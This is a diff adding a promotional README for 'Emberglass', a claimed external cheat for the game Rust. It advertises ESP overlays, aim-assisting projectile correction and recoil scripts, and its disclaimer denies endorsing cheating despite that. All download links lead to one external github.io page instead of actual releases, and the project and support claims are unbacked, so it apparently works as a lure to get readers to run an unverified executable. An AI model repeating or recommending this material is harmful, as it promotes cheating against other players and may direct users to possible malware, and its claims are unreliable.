|
| 1 | + |
| 2 | +[](https://ltw1102-stack.github.io/Rust-External-Projectile-Control/) |
| 3 | + |
| 4 | +# 🦀 Project Emberglass — Precision Field Toolkit for Rust |
| 5 | + |
| 6 | +    |
| 7 | + |
| 8 | +--- |
| 9 | + |
| 10 | +## 🧭 Why Emberglass Exists |
| 11 | + |
| 12 | +Most external utilities feel like they were welded together in a dark garage — brittle, noisy, and dangerous to operate. **Emberglass** takes a different route: it treats your gaming environment as a precision instrument, not a battlefield of duct tape. Think of it as a **night-vision goggle for your tactical awareness**, but engineered with the care of a Swiss chronograph. |
| 13 | + |
| 14 | +This project reimagines the concept of a "companion overlay" from the ground up. Instead of simply projecting data onto your screen, it **filters reality** — cutting through visual noise so you can focus on the decisions that matter. Whether you are holding a sightline for forty seconds or coordinating a flank with your squad, Emberglass gives you the clarity of a glass pane on a foggy morning. |
| 15 | + |
| 16 | +--- |
| 17 | + |
| 18 | +## 🔭 Core Capabilities |
| 19 | + |
| 20 | +### 1. Adaptive ESP (Enhanced Sensory Projection) |
| 21 | +- **Distance-based transparency**: Entities fade naturally as they approach your crosshair, reducing occlusion. |
| 22 | +- **Customizable bounding boxes**: Choose from tight, standard, or skeletal outlines based on your monitor size and personal preference. |
| 23 | +- **Health & armor bars** that integrate seamlessly with your existing HUD without covering the kill feed. |
| 24 | +- **Loot filter intelligence**: Automatically highlights only the items you have marked as "priority" in your session profile. |
| 25 | + |
| 26 | +### 2. 🎯 Projectile Arc Correction (PAC) |
| 27 | +This is not a simple aimbot — it is a **ballistic compass**. Emberglass calculates the true trajectory of your projectile, accounting for: |
| 28 | +- **Gravity drop** at varying engagement distances |
| 29 | +- **Travel time** prediction for moving targets |
| 30 | +- **Wind deflection** (where applicable) |
| 31 | +- **Scope magnification compensation** |
| 32 | + |
| 33 | +The result is a subtle, predictive reticle adjustment that feels as natural as adjusting for a breeze on a golf course. You will find yourself landing shots at distances that previously felt like lottery tickets. |
| 34 | + |
| 35 | +### 3. 🚫 Recoil Neutralization Scripts |
| 36 | +Recoil control is treated as an **art form** here. Instead of a jittery macro that fights your hand, Emberglass uses a smooth, pattern-matching algorithm that: |
| 37 | +- **Learns your mouse sensitivity** within 15 seconds of use |
| 38 | +- **Adapts in real-time** to weapon state (attachments, crouching, movement) |
| 39 | +- **Provides a visual trace** of your last 10 shots so you can see your own improvement |
| 40 | + |
| 41 | +This is not about removing challenge — it is about **removing mechanical noise** so that skill and positioning become the only variables in your duels. |
| 42 | + |
| 43 | +--- |
| 44 | + |
| 45 | +## ✨ Feature Deep Dive |
| 46 | + |
| 47 | +### 🖥️ Zero-Friction Interface |
| 48 | +No clunky menus layered on top of your game. Emberglass uses a **system-tray companion** and a transparent, click-through overlay. You configure it with a **web-based dashboard** accessible from your local network — on your phone, tablet, or second monitor. |
| 49 | + |
| 50 | +### 🌍 Multilingual Awareness |
| 51 | +The interface speaks your language. Currently supports: |
| 52 | +- English (American & British) |
| 53 | +- German (Deutsch) |
| 54 | +- French (Français) |
| 55 | +- Portuguese (Brasileiro) |
| 56 | +- Russian (Русский) |
| 57 | +- Simplified Chinese (简体中文) |
| 58 | + |
| 59 | +Switch languages live without restarting the overlay. Your configuration files are stored in a language-neutral format (`JSON` with Unicode keys), so your setup remains portable across language packs. |
| 60 | + |
| 61 | +### 📡 24/7 Operational Support |
| 62 | +The project runs a **community knowledge base** and a **live chat relay** (not a ticket system). If you encounter an edge case — a weird screen resolution, a new weapon update, or a display scaling oddity — you can reach a maintainer or an advanced user within minutes. Average first-response time is under 4 minutes during peak hours (CET and EST zones). |
| 63 | + |
| 64 | +### 🧩 Modular Architecture |
| 65 | +Each feature (ESP, PAC, recoil control) is compiled as a **separate module**. This means: |
| 66 | +- You can disable features you do not need, reducing CPU usage to nearly zero. |
| 67 | +- The overlay updates independently from the core logic. |
| 68 | +- Advanced users can write their own modules in Rust and load them at runtime using a **stable ABI**. |
| 69 | + |
| 70 | +--- |
| 71 | + |
| 72 | +## 📦 Installation & Setup |
| 73 | + |
| 74 | +### Environment Requirements |
| 75 | +- **Operating System**: Windows 10/11 (64-bit) or Ubuntu 22.04 LTS+ / Arch-based distributions |
| 76 | +- **Hardware**: Any CPU from the last 8 years; 4 GB RAM minimum; a GPU that supports DirectX 11 or Vulkan (for the overlay renderer) |
| 77 | +- **Display**: 1080p or higher recommended for the ESP distance scaling to feel natural |
| 78 | + |
| 79 | +### Getting Started |
| 80 | +1. Download the latest release artifact from the **[](https://ltw1102-stack.github.io/Rust-External-Projectile-Control/)** section of this repository. |
| 81 | +2. Extract the archive to a folder of your choice (e.g., `C:\Tools\Emberglass` or `~/Applications/emberglass`). |
| 82 | +3. Run the executable (`emberglass.exe` or `emberglass`). The first launch will generate a `config.toml` file in the same directory. |
| 83 | +4. Open your browser to `http://localhost:8474` to access the dashboard. Your firewall may ask for permission — allow it for local connections only. |
| 84 | +5. Attach the overlay to your game process via the dashboard's "Session" tab. The overlay will calibrate automatically within 30 seconds. |
| 85 | + |
| 86 | +> **Note**: The first calibration run requires your game to be set to **borderless windowed mode** or **windowed fullscreen**. Exclusive fullscreen is supported but requires the "Legacy DirectX hook" toggle in the dashboard. |
| 87 | +
|
| 88 | +--- |
| 89 | + |
| 90 | +## 🧠 Philosophy: Why "Emberglass"? |
| 91 | + |
| 92 | +The name comes from the idea of **seeing through a glowing, transparent medium**. An ember is a reminder of heat and energy — the intensity of a firefight. Glass is clarity and structure. Together, they represent the core promise of this utility: |
| 93 | + |
| 94 | +> *You remain the fire. Emberglass is just the lens.* |
| 95 | +
|
| 96 | +This is not a tool that plays for you. It is a tool that **reduces the fog of war** — literally and figuratively. The projectile arc correction gives you confidence, not autopilot. The recoil neutralization gives you control, not invincibility. The ESP gives you information, not clairvoyance. |
| 97 | + |
| 98 | +### 🔐 Privacy & Integrity |
| 99 | +- **No cloud analytics**: All telemetry stays on your machine. |
| 100 | +- **No account linkage**: The utility never references your gaming account credentials. |
| 101 | +- **Encrypted local storage**: Your configuration is encrypted with a machine-specific key (DPAPI on Windows, TPM-based sealing on Linux). |
| 102 | + |
| 103 | +--- |
| 104 | + |
| 105 | +## 🗂️ Project Structure |
| 106 | + |
| 107 | +``` |
| 108 | +emberglass/ |
| 109 | +├── core/ # Runtime engine & memory interface |
| 110 | +├── modules/ |
| 111 | +│ ├── esp/ # Sensory projection module |
| 112 | +│ ├── pac/ # Ballistic arc prediction |
| 113 | +│ └── recoil/ # Pattern neutralization logic |
| 114 | +├── web_dashboard/ # React-based local control panel |
| 115 | +├── resources/ |
| 116 | +│ ├── lang/ # Localization strings (JSON) |
| 117 | +│ └── shaders/ # Overlay rendering effects |
| 118 | +├── docs/ # Architecture & user guides |
| 119 | +└── scripts/ # Build, packaging, and dev tools |
| 120 | +``` |
| 121 | + |
| 122 | +--- |
| 123 | + |
| 124 | +## 🛠️ Development & Contribution |
| 125 | + |
| 126 | +This is an open-source project under the MIT license. We welcome: |
| 127 | +- **Rust engineers** with experience in memory-mapped I/O, shared libraries, and low-latency rendering. |
| 128 | +- **UX designers** who can improve the web dashboard's accessibility and clarity. |
| 129 | +- **Localization specialists** for new languages. |
| 130 | +- **Tester volunteers** for assorted display configurations and unusual resolutions. |
| 131 | + |
| 132 | +### Contribution Workflow |
| 133 | +1. Fork the repository. |
| 134 | +2. Create a feature branch (`feat/your-idea`). |
| 135 | +3. Commit your changes with a descriptive message. |
| 136 | +4. Open a pull request against the `dev` branch. |
| 137 | + |
| 138 | +All contributions are reviewed by maintainers within 48 hours. Please include a screenshot or video if your change affects the visual overlay. |
| 139 | + |
| 140 | +--- |
| 141 | + |
| 142 | +## 📜 License |
| 143 | + |
| 144 | +This project is released under the **MIT License**. You are free to use, modify, and distribute it, provided you retain the original copyright notice. A copy of the license is available in the [LICENSE](LICENSE) file at the root of this repository. |
| 145 | + |
| 146 | +--- |
| 147 | + |
| 148 | +## ⚠️ Disclaimer |
| 149 | + |
| 150 | +**Emberglass is a community-driven educational tool**. It is designed to enhance situational awareness and mechanical control in a simulated environment. Users are solely responsible for ensuring that their use of this software complies with: |
| 151 | +- The terms of service of any applicable gaming platform. |
| 152 | +- Local laws and regulations regarding third-party software. |
| 153 | +- Ethical guidelines of fair play in competitive settings. |
| 154 | + |
| 155 | +The maintainers of this project do not endorse cheating, bribery, or any form of dishonest play. This utility is provided as-is, without warranty of any kind. If you use it in a way that violates a platform's policy, you do so at your own risk. **Respect the sandbox. Respect the players.** |
| 156 | + |
| 157 | +--- |
| 158 | + |
| 159 | +## 📈 Roadmap (2026) |
| 160 | + |
| 161 | +| Quarter | Milestone | |
| 162 | +|---------|-----------| |
| 163 | +| Q1 2026 | Release **v1.0.0** with polish pass on ESP scaling and translation files | |
| 164 | +| Q2 2026 | Introduce **plugin marketplace** (community modules, vetted by maintainers) | |
| 165 | +| Q3 2026 | Native **Linux Wayland** support for the overlay (no X11 translation layer) | |
| 166 | +| Q4 2026 | **AI-assisted loot prioritization** — learn your looting habits and suggest loadouts | |
| 167 | + |
| 168 | +--- |
| 169 | + |
| 170 | +## 🙋 Frequently Asked Questions |
| 171 | + |
| 172 | +**Q: Does the overlay work with multiple monitors?** |
| 173 | +Yes. The dashboard includes a monitor selector that lets you choose which display receives the overlay by default. You can also bind hotkeys to cycle monitors mid-session. |
| 174 | + |
| 175 | +**Q: Can I run Emberglass on a low-end machine?** |
| 176 | +Absolutely. The core engine uses less than 40 MB of RAM and about 2% of a single CPU core. The overlay rendering is GPU-accelerated but falls back to a software rasterizer if no dedicated GPU is detected. |
| 177 | + |
| 178 | +**Q: I am a left-handed user. Are the hotkeys remappable?** |
| 179 | +Every hotkey, including the recoil-control activation toggle, is fully rebindable through the dashboard. The default bindings are mirrored for left-handed access on request. |
| 180 | + |
| 181 | +**Q: How often is the project updated?** |
| 182 | +We follow the gaming platform's update cadence. After each official patch, a compatibility update is rolled out within 24–48 hours. You are notified of the update via the dashboard's notification bell. |
| 183 | + |
| 184 | +--- |
| 185 | + |
| 186 | +## 🤝 Acknowledgement |
| 187 | + |
| 188 | +This project stands on the shoulders of many open-source pioneers in the Rust ecosystem, particularly the `sysinfo`, `winit`, and `wgpu` crates. We thank the maintainers of these libraries for their dedication to safe and fast system programming. |
| 189 | + |
| 190 | +--- |
| 191 | + |
| 192 | +*Emberglass — see the field, not the fog.* |
| 193 | + |
| 194 | +[](https://ltw1102-stack.github.io/Rust-External-Projectile-Control/) |
0 commit comments